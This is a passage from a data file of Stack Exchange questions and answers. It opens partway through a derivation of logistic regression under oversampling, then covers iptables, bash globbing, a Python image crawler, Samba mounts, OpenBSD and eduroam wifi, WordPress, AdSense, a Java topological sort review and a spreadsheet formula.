$\\mathbf{real}$ population given the predictor $X$} $$but by using an oversample you are estimating$$P_m(Y=1|X) = \\text{probability of response=1 in the $\\mathbf{manufactured}$ population given the predictor $X$}$$The two probabilities are related. I'll worked the details. I'll pretend the predicor $X$ is discrete. If $X$ takes numerical values one has to replace some probabilities by probability densities.$$\\dots\\dots\\dots$$To simplify the notation, let $\\pi_1 = P_r(Y=1)$ and $\\mu_1 = P_m(Y=1)$ be the probabilities of response in the real and manufactured populations, let $$L_r = \\frac{P_r(X=x|Y=1)}{P_r(X=x|Y=0)} = \\frac{\\frac{P_r(Y=1|X=x)}{P_r(Y=0|X=x)}}{\\frac{\\pi_1}{1-\\pi_1} }$$be the odds ratio of $Y=1$, i.e.: the ratio of the odds among cases with $X=x$ and the odds in the general $\\mathbf{real}$ population. Finally, let $L_m$ be the corresponding ratio in the $\\mathbf{manufactured}$ population.By Bayes' Theorem:$$ P_r(Y=1|X=x) = \\frac{P_r(Y=1,X=x)}{P_r(X=x)} =   \\\\=\\frac{P_r(X=x|Y=1)\\space \\pi_1}{P_r(X=x|Y=1)\\space\\pi_1 + P_r(X=x|Y=0)\\space (1 - \\pi_1)} = \\\\=\\frac{L_r\\space \\pi_1}{L_r\\space\\pi_1 + \\space (1 - \\pi_1)} \\tag{1}$$In a similar way, we get an analogous result for the manufactured population:$$P_m(Y=1|X=x) = \\frac{L_m\\space \\mu_1}{L_m\\space\\mu_1 + \\space (1 - \\mu_1)} \\tag{2}$$Since the manufactured sample is a random sample, stratified by $Y$, the conditional distribution of X within responders is the same as in the real population. Same as for non responders, i.e.:$$ P_r(X=x|Y=j) = P_r(X=x|Y=j) $$for $j=0,1.$ If the sample stratified by values of Y was anything other than random sample these would not be true.It follows that $\\boxed{ L_r = L_m }$. Next we solve for $L_m$ in terms of $P_m(Y=1|X)$ from (2) and replace in (1). $$\\dots\\dots\\dots$$$\\mathbf{Digression}$:Here is my easy way to carry the steps, without mess. Two non-zero vectors $\\mathbf{v_1}$, $\\mathbf{v_2}$ are parallel iff there is $\\lambda \\ne 0$ such that $\\mathbf{v_1}=\\lambda \\mathbf{v_2}.$ Below I will use this idea, and I will not care about the exact value of $\\lambda$, so I will be using $\\lambda$ as a short-hand for $\\mathbf{\\text{some non-zero mumber}}$.$\\mathbf{\\text{End Digression}}$:$$\\dots\\dots\\dots$$The easy way to solve is to observed that for non-zero messy values of $\\lambda$ (not the same in each occurrence!) one has:$$\\begin{bmatrix} P_r(Y=1|X) \\\\ 1 \\\\\\end{bmatrix} = \\lambda \\begin{bmatrix}       \\pi_1 &0\\\\      \\pi_1      &1-\\pi_1 \\end{bmatrix} \\begin{bmatrix}L_r\\\\1 \\end{bmatrix} ,$$and$$\\begin{bmatrix} P_m(Y=1|X) \\\\ 1 \\\\\\end{bmatrix} = \\lambda \\begin{bmatrix}      \\mu_1 &0 \\\\      \\mu_1      &1-\\mu_1 \\end{bmatrix} \\begin{bmatrix}L_m\\\\1 \\end{bmatrix}. $$Therefore,$$\\begin{bmatrix}L_m\\\\1 \\end{bmatrix} = \\lambda \\begin{bmatrix}      \\mu_1  &0 \\\\      \\mu_1      &1-\\mu_1 \\end{bmatrix}^{-1} \\begin{bmatrix} P_m(Y=1|X) \\\\ 1 \\\\\\end{bmatrix} ,$$and so (remember that here $\\lambda$ stands for some non-zero number)$ \\space \\begin{bmatrix}  P_r \\\\   1     \\end{bmatrix} = \\lambda \\begin{bmatrix}       \\pi_1 &0 \\\\      \\pi_1      &1-\\pi_1 \\end{bmatrix} \\begin{bmatrix}L_r \\\\1 \\end{bmatrix} = \\\\\\text{              }=\\lambda \\begin{bmatrix}      \\pi_1      &0    \\\\      \\pi_1      &1-\\pi_1 \\end{bmatrix} \\begin{bmatrix}       \\mu_1     &0     \\\\      \\mu_1      &1-\\mu_1 \\end{bmatrix}^{-1} \\begin{bmatrix} P_m \\\\ 1 \\\\\\end{bmatrix} = \\\\\\text{              }=\\lambda \\begin{bmatrix}      \\pi_1 (1- \\mu_1)        &0 \\\\      \\pi_1  - \\mu_1     & \\mu_1 (1- \\pi_1)\\end{bmatrix} \\begin{bmatrix} P_m \\\\ 1 \\\\\\end{bmatrix} = \\lambda \\begin{bmatrix}      \\pi_1  (1-\\mu_1)  P_m \\\\      (\\pi_1  - \\mu_1) \\; P_m   +  \\mu_1 (1- \\pi_1)\\end{bmatrix}. $Thus,$$ P_r = \\frac{\\pi_1 (1- \\mu_1) P_m}{(\\pi_1 - \\mu_1) \\; P_m   +  \\mu_1 (1- \\pi_1) } $$$$\\dots\\dots\\dots$$ Example: Let's work the details of a Binomial model, $$P_m(Y=1|X) = \\frac{e^{\\beta_0 + \\beta X}}{1+e^{\\beta_0 + \\beta X}} $$or in the where $\\lambda$ is some non-zero scalar notation (I would not had digressed before if I did not had ulterior motive.. :) ):$$ \\begin{bmatrix} P_m \\\\ 1 \\\\\\end{bmatrix} = \\lambda \\begin{bmatrix}e^{\\beta_0 + \\beta X} \\\\1 + e^{\\beta_0 + \\beta X}\\end{bmatrix}$$What is the implied model in the real population?  $ \\space \\begin{bmatrix}     P_r \\\\      1     \\end{bmatrix} = \\lambda \\begin{bmatrix}      \\pi_1 (1- \\mu_1)   &0 \\\\      \\pi_1  - \\mu_1     &\\mu_1 (1- \\pi_1)\\end{bmatrix} \\begin{bmatrix}   P_m \\\\   1 \\end{bmatrix} =$  $\\;$$= \\lambda \\begin{bmatrix}      \\pi_1 (1- \\mu_1)   &0 \\\\      \\pi_1  - \\mu_1     &\\mu_1 (1- \\pi_1)\\end{bmatrix} \\begin{bmatrix}e^{\\beta_0 + \\beta X} \\\\1 + e^{\\beta_0 + \\beta X}\\end{bmatrix}=$  $\\;$$= \\lambda \\begin{bmatrix}      \\pi_1 (1- \\mu_1)   e^{\\beta_0 + \\beta X} \\\\      \\pi_1 (1- \\mu_1)   e^{\\beta_0 + \\beta X} + \\mu_1 (1- \\pi_1)\\end{bmatrix} = \\lambda\\begin{bmatrix}\\frac{\\pi_1 (1- \\mu_1)}{\\mu_1 (1- \\pi_1)} e^{\\beta_0 + \\beta X} \\\\1 + \\frac{\\pi_1 (1- \\mu_1)}{\\mu_1 (1- \\pi_1)} e^{\\beta_0 + \\beta X}\\end{bmatrix}.$  If we let $\\tau = \\ln(\\frac{\\pi_1 (1- \\mu_1)}{\\mu_1 (1- \\pi_1)})$, we can absorve this constant in the exponents to get:$$ \\begin{bmatrix}     P_r \\\\      1     \\end{bmatrix} = \\lambda \\begin{bmatrix}e^{\\tau + \\beta_0 + \\beta X} \\\\1 + e^{\\tau + \\beta_0 + \\beta X}\\end{bmatrix}.$$Taking the ratio and simplifying the non-zero constant in numerator and denominator we get that fitting a logistic model to the manufactured population results in an implied logistic model for the real population, $\\mathbf{\\text{with the same coefficients for X}}$ and with a difference in the constant (in the logistic model) given by:$$ \\beta_{real} = \\tau + \\beta_0 $$$$\\dots$$Note that, according to your reference, the ratio of $\\gamma_1 = Pr(Z=1|Y=1)$ and $\\gamma_0 = Pr(Z=1|Y=0)$ should come up. Indeed:$$ \\gamma_1 = Pr(Z=1|Y=1) = \\frac{P(Z=1,Y=1)}{P(Y=1)} = \\frac{P_r(Y=1|Z=1)P_r(Z=1)}{P_r(Y=1)} = \\frac{P_m(Y=1)}{P_r(Y=1)} P_r(Z=1)= \\frac{\\mu_1}{\\pi_1}P_r(Z=1) $$likewise (i.e. change Y to 1-Y),$$ \\gamma_0 = \\frac{1-\\mu_1}{1-\\pi_1}P_r(Z=1) $$ so $$ \\ln(\\frac{\\gamma_1}{\\gamma_0}) = - \\ln(\\frac{\\pi_1 (1-\\mu_1)}{\\mu_1 (1-\\pi_1}) = \\tau $$$$\\dots\\dots\\dots$$Notes for full disclosure: I worked with the probability model. When one works with finite samples the example above suggests two ways of estimating the coefficients:* estimate coefficients using the sample from the real population* estimate coefficients using the manufactored populationsIt terns out that this two estimators are not the same (it is obvious if one consideres one estimator is based on more cases than the other). Both estimators are asymtopically consistent, but it can be shown the one based on the manufactored population is more biased (forgot the reference :( ).In the data science space we are more concern with the quality of the predictions than the parameters of the parameters used to make those predictions, so as long as you check results properly (e.g.: using a testing set to build models and another to validate them), the bias in the parameters should not deter us from using oversampling. $$\\dots\\dots\\dots$$"  } 
{  "id": "_unix.144619"  , "question": "This is my original server with very loose security given that it does not block all ports via iptables. /etc/sysconfig/iptables contents:# Generated by iptables-save v1.4.7 on Mon Jun 16 20:04:05 2014*filter:INPUT ACCEPT [8:607]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [6:1089]COMMIT# Completed on Mon Jun 16 20:04:05 2014this (below) is a server with a different company but it looks like it came with good security settings in.. ( allows only port 22 ) /etc/sysconfig/iptables contents:# Firewall configuration written by system-config-firewall# Manual customization of this file is not recommended.*filter:INPUT ACCEPT [0:0]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [0:0]-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT-A INPUT -p icmp -j ACCEPT-A INPUT -i lo -j ACCEPT-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT-A INPUT -j REJECT --reject-with icmp-host-prohibited-A FORWARD -j REJECT --reject-with icmp-host-prohibitedCOMMITthis one looks alot better.Can I simply copy these to my original server's /etc/sysconfig/iptables and then reboot the whole system and expect everything to work ?"  , "title": "Is it OK to copy /etc/sysconfig/iptables to another machine?"  , "tags": "security;iptables;firewall"  } 
{  "id": "_unix.216222"  , "question": "I am trying to read files from a directory into an array but even when the file doesn't exist, it is saved into the array. I want to exclude the file name if it doesn't exist.a=(/tmp/nofileexists) && echo ${#a[@]} && echo ${a[@]}1/tmp/nofileexistsThe path may contain a wild card.a=(/tmp/nofileexists*.pdf) && echo ${#a[@]} && echo ${a[@]}"  , "title": "Handle wildcards matching no file in bash"  , "tags": "bash;wildcards;array"  , "accepted_answer": "You can use nullglob for bash return empty string when file name expansion fail :$ shopt -s nullglob$ a=(/tmp/nofileexists*.pdf) && echo ${#a[@]} && echo ${a[@]}0<blank line>Or using failglob to report error:$ shopt -s failglob$ a=(/tmp/nofileexists*.pdf) && echo ${#a[@]} && echo ${a[@]}bash: no match: /tmp/nofileexists*.pdf"  } 
{  "id": "_softwareengineering.65783"  , "question": "It seems to me that buying and reading books is one of the most important investments a developer can make, and one of the most important investment a company can spend on a developer. There were a lot of times when I was confronted with a tricky problem, and what I did was to flip through an algorithm book and I would stumble upon an answer. And there were a lot of times when I tackled a problem head-on without first doing a literature search, only to find out later that my solution sucked and a proper solution had already been written down elsewhere.But it also seems to me that a lot of companies view books as an expense and thus must be cut down and budgeted. Sad, but true.How much your company spends on books? "  , "title": "How much does your company spends on books?"  , "tags": "books"  } 
{  "id": "_codereview.106457"  , "question": "I created a web crawler that uses beautiful soup to crawl images from a website and scrape them to a database. in order to use it you have to create a class that inherits from Crawler and implements 4 simple methods.get_image_page_links() returns a list of the a tags that link to each images individual page.get_image_source_url() returns the url for the image using the page_soup that is provided.get_image_thumbnail_url() returns a url to a smaller version in order to create the thumbnail quicklyget_tags_ul() returns a BeautifulSoup object that represents the ul containing a list of tags for the imageexample:class PexelCrawler(Crawler):    def __init__(self, db_record=None):        origin = 'PX'        base_url = 'https://www.pexels.com/?format=html&page={}'        domain = 'www.pexels.com'        Crawler.__init__(self, db_record, origin, base_url, domain)    def get_image_page_links(self, page_soup):        article_tags = page_soup.select('article.photos__photo')        return [article.find('a') for article in article_tags]    def get_image_source_url(self, image_page_soup):        return image_page_soup.find('a', class_='js-download')['href']    def get_image_thumbnail_url(self, image_page_soup):        return image_page_soup.find('img', class_='photo__img')['src']    def get_tags_ul(self, image_page_soup):        return image_page_soup.find('ul', class_='list-padding') here is the Crawler class:from urllib.parse import urljoinimport requestsfrom bs4 import BeautifulSoupfrom crawlers.models import Image, Tag, Crawlerfrom requests.exceptions import HTTPErrorimport pdbimport signalimport sysimport timeRED = \\033[01;31m{0}\\033[00mGREEN = \\033[1;36m{0}\\033[00mdef signal_handler(signal, frame):        global interrupted        interrupted = Trueclass Crawler():    def __init__(self, db_record, origin, base_url, domain):                current_page is used to track what page the crawler is on        db_record is an instance of the model class Crawler and represents the associated        record in the table that keeps track of the crawler in the database        base_url is the page that is used in order to scrape images from,        must contain {} where the page number should be        domain_name is the domain name of the website.        used to transform relateive urls into absolute urls.                self.current_page = db_record.current_page        self.db_record = db_record        self.origin = origin        self.base_url = base_url        self.domain = domain    def make_absolute_url(self, url):                returns an absolute url for a given url using the domain_name property        example: '/photo/bloom-flower-colorful-colourful-9459/' returns 'https://www.pexels.com/photo/bloom-flower-colorful-colourful-9459/'        where the domain_name is 'www.pexels.com'                protocol = https://        return urljoin(protocol + self.domain, url)    def get_page_soup(self, page_url, attempts=5, delay=2):        for i in range(attempts):            try:                response = requests.get(page_url)                response.raise_for_status()            except HTTPError as e:                print (RED.format(page responded with +str(response.status_code)+. trying again))                time.sleep(delay)            else:                return BeautifulSoup(response.text)        else:            # failed to get the page raise an exception            response.raise_for_status()    def get_image_page_urls(self):                returns a list of urls for each image on the page                response = requests.get(self.base_url.format(self.current_page))        page_soup = BeautifulSoup(response.text)        image_page_urls = [ link['href'] for link in self.get_image_page_links(page_soup)]        # make sure urls are absolute        image_page_urls = [self.make_absolute_url(url) for url in image_page_urls]        return image_page_urls    def crawl(self):        global interrupted        interrupted = False        signal.signal(signal.SIGINT, signal_handler)        images_added = 0        images_failed = 0        while True:            print('crawling page {}'.format(self.current_page))            image_page_urls = self.get_image_page_urls()            for n,image_page_url in enumerate(image_page_urls):                if Image.objects.filter(page_url=image_page_url).exists():                    print(Image already exists in database, moving on)                    continue                print('crawling image at: {} (image {} of {})'.format(image_page_url, n+1, len(image_page_urls)))                try:                    image_page_soup = self.get_page_soup(image_page_url)                except HTTPError:                    print(RED.format(Failed to reach image page url at: {} , moving on.format(image_page_url)))                    images_failed+=1                    continue                print('getting image source url')                image_source_url = self.get_image_source_url(image_page_soup)                print('getting image thumbnail url')                image_thumbnail_url = self.get_image_thumbnail_url(image_page_soup)                print('getting tags')                tags = self.get_tags(image_page_soup)                print('storing image in db')                self.store_image(image_source_url, image_page_url, image_thumbnail_url, tags)                images_added+=1            self.current_page+=1            self.db_record.current_page+=1            self.db_record.save()            if interrupted:                    print(Crawling halted.)                    print(GREEN.format({} images added to database.format(images_added)))                    print(RED.format({} images failed to add.format(images_failed)))                    break    def get_image_page_links(self, page_soup):        return NotImplementedError(method get_image_page_links must be implemented)    def get_image_source_url(self, image_page_soup):        return NotImplementedError(method get_image_source_url must be implemented)    def get_image_thumbnail_url(self, image_page_soup):        return NotImplementedError(method get_image_thumbnail_url must be implemented)    def get_tags_ul(self, image_page_soup):        return NotImplementedError(method get_tags_ul must be implemented)    def get_tags(self, image_page_soup):        tags_ul = self.get_tags_ul(image_page_soup)        tag_links = tags_ul.find_all('a')        tag_names = [tag_link.string for tag_link in tag_links]        return tag_names    def store_image(self, image_source_url, image_page_url, image_thumbnail_url, tags):        image = Image(source_url=image_source_url, page_url=image_page_url, origin=self.origin)        print('creating thumbnail from url: '+image_thumbnail_url)        if image.create_thumbnail(image_thumbnail_url):            print(GREEN.format(thumbnail created))        else:            print(RED.format(thumbnail creation failed, deleting image))            image.delete()            return        print('saving image')        image.save()        print(GREEN.format(new image saved to database))        print('adding tags to image')        for tag in tags:            tag, created = Tag.objects.get_or_create(name=tag)            image.tags.add(tag)I'm looking for feedback regarding OOP or making the crawler faster, more efficient or even better names for functions and variables."  , "title": "A web crawler for scraping images from stock photo websites"  , "tags": "python;python 3.x;web scraping;django"  } 
{  "id": "_unix.82464"  , "question": "I have a Debian Squeeze guest system running on a Windows 7 Professional host, a notebook computer. As a web developer, I need to mount my Windows project root folder into the Debian system.VirtualBox offers a shared folders function, however it does not recognize windows-style symlinks (junctions). So I decided to run a Samba client in my Debian system and mount the project folders from the virtual network (NAT). I do that by using this command in /etc/rc.local:mount -t cifs //192.168.178.62/Projekte/workspace /media/smb_workspace -o user=Bill,password=XXXXXXX,domain=LOCALDOMAINNAME,uid=33,gid=33,ex$This works fine, but as the name of the host machine couldn't be resolved, I had to use it's IP address. When I'm in a different WIFI, the IP address changes and I have to change the mounting command. Obviously I'd prefer to enter the name of my Windows machine, like that: mount -t cifs //NOTEBOOKNAME/Projekte/workspace /media/smb_workspace -o user=Bill,password=XXXXXXX,domain=LOCALDOMAINNAME,uid=33,gid=33,ex$I tried switching off my Windows firewall and the antivirus software, to no avail.  The samba packages I installed on Debian are those, and apart from entering the workgroup information I left the configuration unchanged: libwbclient0 Samba winbind client library samba SMB/CIFS file, print,and login server for Unix samba-common common files used by both theSamba server and client samba-common-bin common files used by boththe Samba server and clientSo how can I get this to work? Any suggestions?"  , "title": "Virtualbox: Find Windows host DNS name on Debian guest"  , "tags": "windows;virtualbox;samba;virtual machine"  } 
{  "id": "_unix.138729"  , "question": "I have a Lenovo X230 with a Centrino N-6300 wifi card.I cannot get wifi to work on it.I did fw_upgradeI can do aifconfig iwno scanI have the list of Wifi networks around including mine.  However if I try to setup /etc/hostname.iwn0nwid Livebox-XXXXwpakey XXXXXXXXXdhcpthensh /etc/netstart iwn0I got:No link: .............. sleepingSame if I try:ifconfig iwn0 nwid Livebox-XXXX wpakey XXXXXXXXWhat did I miss?"  , "title": "Centrino N-6300 OpenBSD 5.5 - No Link"  , "tags": "wifi;openbsd"  } 
{  "id": "_cs.63144"  , "question": "If a decision problem A belongs to the polynomial complexity class P, must there be at least one YES instance and one NO instance of the problem? I know that in the definition of a Turing machine an accept state and separate reject state are defined but I'm not sure if that applies to this case. Is it maybe possible to have only YES instances or only NO instances?Thanks very much in advance."  , "title": "Do problems in P have a minimum number of YES and NO instances?"  , "tags": "complexity theory;decision problem;polynomial time"  , "accepted_answer": "If a problem has only YES instances (resp. only NO instances), then the associated language, which is our formalization of a problem contains every word in $\\Sigma^*$ (resp. no words), with $\\Sigma$ being the underlying alphabet. Both $\\Sigma^*$ and $\\emptyset$ are regular languages, and in particular, are both in $P$.So yes - there are trivial languages are in $P$. In fact, this argument also works when there are finitely many YES or NO instances, since finite languages are regular, and also their complements are.So for a language not to be in $P$ it must first of all have both infinitely many YES and infinitely many NO instances."  } 
{  "id": "_webmaster.5302"  , "question": "I migrated my WordPress blog to a new server, and everything seemed to be working fine until it started giving me the error when entering the admin area:Fatal error: Allowed memory size of 33554432 bytes exhausted (tried toallocate 4864 bytes) in/home/neworder/public_html/blog/wp-admin/includes/plugin.phpon line 729The line 729 has:$protected = array( '_wp_attached_file', '_wp_attachment_metadata', '_wp_old_slug', '_wp_page_template' );I had installed the maintenance-mode, and I have suspicions that this is what broke the forum.If I remove the plugin it then gives another error:Fatal error: Allowed memory size of33554432 bytes exhausted (tried toallocate 19456 bytes) in/home/neworder/public_html/blog/wp-admin/includes/post.phpon line 1158And that line has:$content .= '<p class=hide-if-no-js>' . esc_html__( 'Remove featured image' ) . '</p>';}I tried to restore the blog file-system from the old server and also to restore the database from the old server (2x), but still it gives me the same error. The blog itself seems to be working fine:http://blog.antinovaordemmundial.com/"  , "title": "Can't get into the admin console after migrating to new server"  , "tags": "wordpress;administration"  , "accepted_answer": "Try taking a look at this:http://nabtron.com/wordpress-3-0-fatal-error-allowed-memory-size-of-33554432-bytes-exhausted/1924/"  } 
{  "id": "_webmaster.100860"  , "question": "I'm starting a new development of a site and checking constantly with GTMetrix the Page load & YSlow.All was almost perfect 'till I placed a Google ad from AdSense.This is the report just before I placed the script:and after I place the script (only one):As can be seen, the performance fall down drastically. The number of request is big.Is there any way I can do to improve this?By the way, the script is placed just before thw  tag with the following:<script async src=//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js defer=defer></script><script defer=defer>(adsbygoogle = window.adsbygoogle || []).push({});</script>"  , "title": "Improve page load performance with Google ads"  , "tags": "google adsense"  , "accepted_answer": "Sad truth is that google adsense is an advertising service. They rent a window of your webpage for advertisements. These advertisements can contain any number of requests to other third party helper URLs and may even contain unoptimized content. The content is what the advertisers produce, and you really have no control over it.All I can suggest if you really want to improve (a.k.a. speed up) loading time is to disable all the fancy offerings with google ads such as animated ads, video ads, ads that expand, etc. Just stick with the basic text, and basic graphic ads, and if that isn't fast enough, then disable everything but text-based ads.Now, having said all that, taking my advice MIGHT cost you money, and I say this because people are visual creatures. They like to see videos and graphics and advertisers understand this. If you remove graphical/animated based ads, then people will look for other graphics and there may be fewer advertisers bidding on your ad slots which can result in less revenue for you."  } 
{  "id": "_codereview.44689"  , "question": "I am learning algorithms in graphs.  I have implemented topological sort using Java. Kindly review my code and provide me with feedback. import java.util.LinkedList;import java.util.Queue;import java.util.Stack;public class TopologicalSortGraph {    /**     *  This Topological Sort implementation takes the example graph in      *  Version 1: implementation with unweighted     *  Assumption : Graph is directed      */    TopologicalSortGraph Graph = new TopologicalSortGraph();    //public LinkedList<Node> nodes  = new LinkedList<Node>();    public static void  topologicalSort(Graph graph) {        Queue<Node> q = new LinkedList<Node>();        int vertexProcessesCtr = 0;        for(Node m : graph.nodes){            if(m.inDegree==0){                ++vertexProcessesCtr;                q.add(m);                System.out.println(m.data);            }        }        while(!q.isEmpty()) {            Node m = q.poll();            //System.out.println(m.data);            for(Node child : m.AdjacenctNode){                --child.inDegree;                if(child.inDegree==0){                    q.add(child);                    ++vertexProcessesCtr;                    System.out.println(child.data);                }            }        }        if(vertexProcessesCtr > graph.vertices) {            System.out.println();        }    }    public static void main(String[] args) {        Graph g= new Graph();        g.vertices=8;    Node TEN = new Node(10);    Node ELEVEN = new Node(11);    Node TWO = new Node(2);    Node THREE = new Node(3);    Node FIVE = new Node(5);    Node SEVEN = new Node(7);    Node EIGHT = new Node(8);    Node NINE = new Node(9);    SEVEN.AdjacenctNode.add(ELEVEN);    ELEVEN.inDegree++;    SEVEN.AdjacenctNode.add(EIGHT);    EIGHT.inDegree++;    FIVE.AdjacenctNode.add(ELEVEN);    ELEVEN.inDegree++;    THREE.AdjacenctNode.add(EIGHT);    EIGHT.inDegree++;    THREE.AdjacenctNode.add(TEN);    TEN.inDegree++;    ELEVEN.AdjacenctNode.add(TEN);    TEN.inDegree++;    ELEVEN.AdjacenctNode.add(TWO);    TWO.inDegree++;    ELEVEN.AdjacenctNode.add(NINE);    NINE.inDegree++;        EIGHT.AdjacenctNode.add(NINE);    NINE.inDegree++;        g.nodes.add(TWO);    g.nodes.add(THREE);    g.nodes.add(FIVE);    g.nodes.add(SEVEN);    g.nodes.add(EIGHT);    g.nodes.add(NINE);    System.out.println(Now calling the topologial sorts);    topologicalSort(g);    }}Graph class:class Graph {    public int vertices;    LinkedList<Node> nodes = new LinkedList<Node>();}Node Class:class Node {    public String data;    public int dist;    public int inDegree;    LinkedList<Node> AdjacenctNode = new LinkedList<Node>( );    public void addAdjNode(final Node Child){        AdjacenctNode.add(Child);        Child.inDegree++;    }    public Node(String data) {        super();        this.data = data;    }}"  , "title": "Topological sort in Java"  , "tags": "java;algorithm;graph"  , "accepted_answer": "class Graph {    public int vertices;    LinkedList<Node> nodes = new LinkedList<Node>();}GraphGraph, as other data structures in general, should be declared public. Because you want them to be able to be used outside of the package they are declared in. nodes, vertices should be private so that you can know that they are not changed outside the Graph class. nodes should not be a LinkedList. You must depend on abstractions as much as possible. You should prefer interfaces such as List over specific implementations LinkedList.Nodes of a graph is not a List, it is a Set. A standard graph cannot have multiple copies of a node. You should prefer a Set to represent a set unless you have a good reason. NodeAll of the above points also apply to Node. Apart from those: AdjacenctNode should be named adjacentNode by Java naming convention. Feel free to remove parameterless call to super();, although Eclipse adds it by default, it's just noise. TopologicalSortGraphRemove unused code : TopologicalSortGraph Graph = new TopologicalSortGraph();Always remove commented code. If you need to see previous versions of a code use a version control system. : //public LinkedList<Node> nodes  = new LinkedList<Node>();Do not put more than one space between tokens, use autoformat of your IDE to fix formatting after changing a piece of code: public static void  topologicalSort(Graph graph) {The snippets :if(child.inDegree==0){    q.add(child);    ++vertexProcessesCtr;    System.out.println(child.data);}and     if(m.inDegree==0){    ++vertexProcessesCtr;    q.add(m);    System.out.println(m.data);}are duplicates. They should be extracted to a private method. You are missing some kind of abstraction there. You are changing the internals of an object passed in as a parameter: --child.inDegree; I do not expect my graph to change after I ask to see its nodes printed in topological order. What if I want to print them again?You are mixing the calculation and the printing out of the calculation result, I do not expect to see printlns in a method implementing an algorithm: System.out.println( .... );What if I want the result to be printed somewhere other than System.out? What if I do not want the result to be printed at all and want it to be used as an intermediate step in a bigger calculation instead? You probably want to return a List<Node> from a topological sort algorithm. List is the standard return type when you are sorting some collection, that is when the result is a collection whose order is important. You can then print that list as many times as you want or pass it as a parameter to wherever you like. public static void main(String[] args) {You should separate test code from your main code. If your actual class is named TopologicalSortGraph put your test code in TopologicalSortGraphTest. Use de facto standard JUnit so that instead of one big main you can have many small tests. You can run any one of them or all of them easily from within your IDE or from the command line. You should try to separate the test code into separate source directories or even into separate projects. Your implementation code should not need or know about your test code to compile. Another spacing (indentation) problem : Node TEN = new Node(10);Your code should align well. So that it reads neatly top to bottom and scopes in it are easily identified. TEN should be ten by Java naming convention.Instead of these two you should use your addAdjNode method instead:SEVEN.AdjacenctNode.add(ELEVEN);ELEVEN.inDegree++;Also access chains like node.AdjacenctNode.add(otherNode) or x.y.z are usually a sign that your encapsulation is not good enough. In this case you are modifying a collection of one class from another class. It's a problem waiting to happen. Same encapsulation problem is present in ELEVEN.inDegree++, too. The root problem here is adjacency is a property of the graph -Remember G = (V, E) from school?- and not of the nodes themselves. Instead of node.addAdjNode(otherNode), you should use a method like graph.addEdge(node, otherNode). Same problem also exists here: g.nodes.add(TWO); You should have aGraph.addNode(node) method instead. Coming back to G = (V, E); it says, if you listen carefully, you need a set of vertices and a set of edges to have a graph and should not add nodes one by one. Ideally, Graph would have a constructor like this public Graph(Set<Node> vertices, Set<Edge> edges). "  } 
{  "id": "_unix.64272"  , "question": "I use standard Danish QWERTY keyboard (on Debian, if the distro matters). Is it at all possible to write German umlauts such as , ,  by some key combos (that is without changing the layout to German)?"  , "title": "German umlaut on Danish keyboard"  , "tags": "keyboard;keyboard layout"  , "accepted_answer": "The key between  and Enter should produce a dead diaeresis. I.e. pressing the  key followed by u should produce .I'm not Danish so I'm basing this on my knowledge of the Finnish/Swedish keyboard and Wikipedia."  } 
{  "id": "_webapps.108010"  , "question": "I want to make SUMIF in Google Spreadsheets look at the previous row for its evaluation. So if my sheet looks like this:trigger, value1something, value2I want it to add value2, because the trigger is in the previous row. Can this be done with SUMIF and if not, is there another way?"  , "title": "Google Spreadsheets SUMIF look to previous row"  , "tags": "google spreadsheets;google documents;formulas;worksheet function"  , "accepted_answer": "This effect is achieved by shifting the criteria range by one row:=sumif(A2:A15, <6, B3:B16)sums the entries in B where the number up-and-to-the-left is less than 6."  } 
{  "id": "_unix.278010"  , "question": "I'm trying to connect to the local university eduroam wifi where I work with my Debian Jessy (xfce) laptop.The wifi is protected as WPA- EAP : TLS (using ssh key pairs .cer and .pem)I tried using wicd, but I permanently get an error of 'bad password', I'm not sure how to troubleshoot the connect (I can't how to get the debug  messages going through the terminal to work out what isn't connecting).So I decided to try connecting directly via wicd (they supply the config and a script).here is the output after I attempt to connect using wpa_supplicang$:~/ sudo wpa_supplicant -Dnl80211 -iwlan0 -c/etc/wpa_supplicant.confSuccessfully initialized wpa_supplicantwlan0: Trying to associate with c4:7d:4f:4b:3f:71 (SSID='eduroam' freq=2437 MHz)wlan0: Associated with c4:7d:4f:4b:3f:71wlan0: CTRL-EVENT-EAP-STARTED EAP authentication startedwlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=21wlan0: CTRL-EVENT-EAP-METHOD EAP vendor 0 method 21 (TTLS) selectedwlan0: CTRL-EVENT-EAP-PEER-CERT depth=3 subject='/C=SE/O=AddTrust AB/OU=AddTrust External TTP Network/CN=AddTrust External CA Root'wlan0: CTRL-EVENT-EAP-PEER-CERT depth=2 subject='/C=US/ST=UT/L=Salt Lake City/O=The USERTRUST Network/OU=http://www.usertrust.com/CN=UTN-USERFirst-Hardware'wlan0: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=NL/O=TERENA/CN=TERENA SSL CA'wlan0: CTRL-EVENT-EAP-PEER-CERT depth=0 subject='/OU=Domain Control Validated/CN=radius.u-bordeaux.fr'wlan0: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfullywlan0: WPA: Key negotiation completed with c4:7d:4f:4b:3f:71 [PTK=CCMP GTK=TKIP]wlan0: CTRL-EVENT-CONNECTED - Connection to c4:7d:4f:4b:3f:71 completed [id=0 id_str=]wlan0: WPA: Group rekeying completed with c4:7d:4f:4b:3f:71 [GTK=TKIP]wlan0: WPA: Group rekeying completed with c4:7d:4f:4b:3f:71 [GTK=TKIP]wlan0: WPA: Group rekeying completed with c4:7d:4f:4b:3f:71 [GTK=TKIP]Here the command seems to authenticate, and then connect. However I am unable to ping any ip, and hence no internet, no email from laptop (and worse no connection to my git repo !).Is anyone able to give my any clues as to what is wrong in my setup up, or how to troubleshoot. I'd really like to get this working.All help is hugely appreciated.David "  , "title": "trying to connect to eduroam with wicd or wpa-supplicant fails"  , "tags": "wpa supplicant;wicd"  , "accepted_answer": "This may sound ridiculous, but it works !I think in the first instance with all the 'messing around' I had been doing trying to get the wifi to work I had ended up with multiple wpa_supplicants running, or an issue with a conflict in wicd.Anyway, I closed / stoped everything...sudo killall wpa_supplicantsudo /etc/init.d/wicd stopand then when I didsudo wpa_supplicant -Dnl80211 -iwlan0 -c/etc/wpa_supplicant.conf -BI got a different response, a simple Successfully initialized wpa_supplicantThen running sudo dhclient -d wlan0returned success... for the first time. previously it just hung, which I assumed was an fault in wpa_supplicant (although I may be wrong)Internet Systems Consortium DHCP Client 4.3.1Copyright 2004-2014 